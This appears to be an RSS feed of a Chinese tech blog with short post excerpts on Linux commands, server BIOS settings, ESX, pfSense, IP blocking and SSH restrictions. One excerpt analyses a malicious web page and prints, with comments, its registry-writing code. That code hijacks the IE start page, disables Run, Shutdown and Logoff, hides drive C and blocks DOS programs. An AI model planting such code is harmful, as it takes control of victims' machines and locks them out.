<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>熊仔阳光站</title>
	<atom:link href="http://www.hnrobot.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.hnrobot.com</link>
	<description>气吞山河如虎。I, Robot !</description>
	<lastBuildDate>Tue, 13 Mar 2012 11:28:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>搜索文件夹内的所有文件里包含某字符串的linux命令</title>
		<link>http://www.hnrobot.com/?p=390</link>
		<comments>http://www.hnrobot.com/?p=390#comments</comments>
		<pubDate>Tue, 13 Mar 2012 11:28:27 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=390</guid>
		<description><![CDATA[从文件内容查找匹配指定字符串的行： $ grep &#8220;被查找的字符串&#8221; 文件名 从文件内容查找与正则表达式匹配的行： $ grep –e “正则表达式” 文件名 查找时不区分大小写： $ grep –i &#8220;被查找的字符串&#8221; 文件名 查找匹配的行数： $ grep -c &#8220;被查找的字符串&#8221; 文件名 从文件内容查找不匹配指定字符串的行： $ grep –v &#8220;被查找的字符串&#8221; 文件名 从根目录开始查找所有扩展名为.log的文本文件，并找出包含”ERROR”的行 find / -type f -name &#8220;*.log&#8221; &#124; xargs grep &#8220;ERROR&#8221;]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=390</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>浏览网页注册表被修改之迷及解决办法</title>
		<link>http://www.hnrobot.com/?p=386</link>
		<comments>http://www.hnrobot.com/?p=386#comments</comments>
		<pubDate>Tue, 13 Mar 2012 07:23:19 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=386</guid>
		<description><![CDATA[　　浏览网页会被修改注册表？千真万确！如果你去浏览过下面的网页：****** ，你真有生不如死的感觉！ 进入该网页会被： 　　1.修改开始菜单 　　1）禁止“关闭系统” 　　2）禁止“运行” 　　3）禁止“注销” 　　2.隐藏C盘——你的C盘找不到了 　　3.禁止使用注册表编辑器regedit 　　4.禁止使用DOS程序 　　5.使系统无法进入“实模式” 　　6.禁止运行任何程序 　　7.将IE浏览器的首页改为******，收藏夹中也被加入该网址。 　　那么这些功能恐怖的功能是如何实现的呢？原来，该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害，我查看了其源代码，将其主要部分列了出来，并加了详细的注释（文中有“注”字的部分是我加的注释）。 注：下面代码是将你的IE默认连接首页改为http://www.findfeel.com/ Shl.RegWrite （&#8221;HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\ Start Page&#8221;, &#8220;http://www.findfeel.com/&#8221;）; 注：以下是该网页修改受害者的注册表项所用的招数 Shl.RegWrite （&#8221;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\Explorer\\NoRun&#8221;, 01, &#8220;REG_BINARY&#8221;）; 注：使受害者系统没有“运行”项，这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。 Shl.RegWrite （&#8221;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\Explorer\\NoClose&#8221;, 01, &#8220;REG_BINARY&#8221;）; 注：使受害者系统没有“关闭系统”项 Shl.RegWrite （&#8221;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\Explorer\\NoLogOff&#8221;, 01, &#8220;REG_BINARY&#8221;）; 注：使受害者系统没有“注销”项 Shl.RegWrite （&#8221;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\Explorer\\NoDrives&#8221;, &#8220;00000004&#8243;, &#8220;REG_DWORD&#8221;）; 注：使受害者系统没有逻辑驱动器C Shl.RegWrite （&#8221;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\WinOldApp\\ Disabled&#8221;,&#8221;REG_BINARY&#8221;）; 注：禁止运行所有的DOS应用程序； Shl.RegWrite （&#8221;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\ \WinOldApp\\NoRealMode&#8221;,&#8221;REG_BINARY&#8221;）; [...]]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=386</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SecureCRT linux vim 颜色设置</title>
		<link>http://www.hnrobot.com/?p=373</link>
		<comments>http://www.hnrobot.com/?p=373#comments</comments>
		<pubDate>Wed, 22 Feb 2012 14:23:25 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=373</guid>
		<description><![CDATA[a 安装vim-enhanced包 b 修改secureCRT的属性：Options-&#62;SessionOptions -&#62;Emulation,然后把Terminal类型改成xterm，并点中ANSI Color复选框。 c 按:进入命令模式输入syntax on也没有效果.这是因为vi没有识别你编译的文件类型 在命令模式下输入:set filetype=c d 在/etc/profile中加入 export TERM=xterm-color 做以上几步就可以了 参考：http://hi.baidu.com/71167609/blog/item/4b939a9026600e88a977a499.html]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=373</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HP BL580c G5 recommended bios settings</title>
		<link>http://www.hnrobot.com/?p=379</link>
		<comments>http://www.hnrobot.com/?p=379#comments</comments>
		<pubDate>Tue, 14 Feb 2012 12:43:24 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=379</guid>
		<description><![CDATA[I&#8217;ve just run through all the BIOS settings I have in place on a DL380 G5 we&#8217;re using here as a vSphere pilot host (I will be using the same settings for VI3.5 in our VDI/View installation as well). Missing sections indicates that I didn&#8217;t make any changes there.   &#8211; System Options - Embedded [...]]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=379</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Execute Disable/No Execute CPU feature is not enabled for this machine</title>
		<link>http://www.hnrobot.com/?p=374</link>
		<comments>http://www.hnrobot.com/?p=374#comments</comments>
		<pubDate>Tue, 14 Feb 2012 11:41:24 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=374</guid>
		<description><![CDATA[VSPHERE 在本地控制台上收到的警告消息 在计算机的系统 BIOS 中禁用了 No-Execute Memory Protection 选项的 HP 系统上或在计算机的系统 BIOS 中禁用了 Execute Disable 选项的 Dell 系统上安装 ESX 4.0 时，会出现 [未对为此计算机启用 Execute Disable/No Execute CPU 功能（The Execute Disable/No Execute CPU feature is not enabled for this machine）] 警告消息。 解决办法：在 HP 或 Dell 计算机的系统 BIOS 中分别启用 No-Execute Memory Protection 或 Execute Disable 选项。 &#160; Not sure if it&#8217;s the right [...]]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=374</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pfsense双线负载均衡设置图解</title>
		<link>http://www.hnrobot.com/?p=370</link>
		<comments>http://www.hnrobot.com/?p=370#comments</comments>
		<pubDate>Thu, 02 Feb 2012 08:20:18 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=370</guid>
		<description><![CDATA[pfsense http://blog.163.com/jacky_it/blog/static/16612145520110493758257/]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=370</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some Initial MPLS Reading</title>
		<link>http://www.hnrobot.com/?p=366</link>
		<comments>http://www.hnrobot.com/?p=366#comments</comments>
		<pubDate>Tue, 17 Jan 2012 16:08:37 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=366</guid>
		<description><![CDATA[I mentioned on Twitter yesterday that I was doing some basic/introductory reading on MPLS, and someone asked what materials I was using. While I’m still very early in the process of trying to understand MPLS, I thought I might share the resources I’ve used so far in trying to wrap my head around MPLS, what it [...]]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=366</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PXE Booting VMware ESX 4.0</title>
		<link>http://www.hnrobot.com/?p=363</link>
		<comments>http://www.hnrobot.com/?p=363#comments</comments>
		<pubDate>Tue, 17 Jan 2012 16:05:11 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=363</guid>
		<description><![CDATA[I recently had the opportunity to work on a proof of concept (PoC) in which we wanted to help a customer streamline the processes needed to deploy new hosts and reduce the amount of time it took overall. One of the tools we used in the PoC for this purpose was PXE booting VMware ESX [...]]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=363</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>批量封掉危险的IP网段【转】</title>
		<link>http://www.hnrobot.com/?p=359</link>
		<comments>http://www.hnrobot.com/?p=359#comments</comments>
		<pubDate>Tue, 17 Jan 2012 15:32:08 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=359</guid>
		<description><![CDATA[根据dshield.org的黑名单,可得到一堆危险的网段,中国的IP也占了一些,我看估计都是肉鸡. 防止这些危险的机器向我们发起攻击,决定把这些危险的IP网段封掉(debian测试通过). 当然,iptables也能做,但是在大流量攻击面前,无效路由显得更轻松,不会像iptables那样占用大量资源! #!/bin/bash # filename:  block_IPs.sh # auth: baiqiuyi.com curl &#8221;http://www.spamhaus.org/drop/drop.lasso&#8221;&#124;awk &#8217;NR&#62;1{print $1}&#8217; &#62;ip if [ $? -eq 0 ];then while read ip do /usr/bin/ipcalc $ip&#124;sed -n &#8217;/Address/p;/Netmask/p&#8217;&#124;sed -r &#8217;s/.*( ([0-9]{1,3}\.){3}[0-9]{1,3}).*/\1/&#8217;&#124;sed &#8217;N;s/\n/ netmask /g;s/^/route add -net/;s/$/ reject/&#8217;&#124;bash done &#60; ip rm -f ip exit 0 fi &#160; http://www.spamhaus.org/drop/drop.lasso ; Spamhaus DROP List 1/17/12 &#8211; (c) 2012 The Spamhaus Project 103.10.188.0/22 ; SBL117887 109.196.140.0/24 ; SBL101917 109.94.212.0/22 ; SBL84898 110.232.160.0/20 ; SBL79387 110.44.128.0/20 ; SBL79386 [...]]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=359</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux 下限制亚洲外的IP登陆ssh</title>
		<link>http://www.hnrobot.com/?p=355</link>
		<comments>http://www.hnrobot.com/?p=355#comments</comments>
		<pubDate>Tue, 17 Jan 2012 15:23:40 +0000</pubDate>
		<dc:creator>熊仔阳光</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://www.hnrobot.com/?p=355</guid>
		<description><![CDATA[[root@cloud ~]# cat /etc/hosts.allow # # hosts.allow This file describes the names of the hosts which are # allow ed to use the local INET services, as decided # by the &#8216;/usr/sbin/tcpd&#8217; server. # sshd:1.0.0.0/255.0.0.0:allow sshd:14.0.0.0/255.0.0.0:allow sshd:27.0.0.0/255.0.0.0:allow sshd:36.0.0.0/255.0.0.0:allow sshd:39.0.0.0/255.0.0.0:allow sshd:42.0.0.0/255.0.0.0:allow sshd:49.0.0.0/255.0.0.0:allow sshd:58.0.0.0/255.0.0.0:allow sshd:59.0.0.0/255.0.0.0:allow sshd:60.0.0.0/255.0.0.0:allow sshd:61.0.0.0/255.0.0.0:allow sshd:101.0.0.0/255.0.0.0:allow sshd:103.0.0.0/255.0.0.0:allow sshd:106.0.0.0/255.0.0.0:allow sshd:110.0.0.0/255.0.0.0:allow sshd:111.0.0.0/255.0.0.0:allow sshd:112.0.0.0/255.0.0.0:allow sshd:113.0.0.0/255.0.0.0:allow sshd:114.0.0.0/255.0.0.0:allow sshd:115.0.0.0/255.0.0.0:allow sshd:116.0.0.0/255.0.0.0:allow [...]]]></description>
		<wfw:commentRss>http://www.hnrobot.com/?feed=rss2&#038;p=355</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

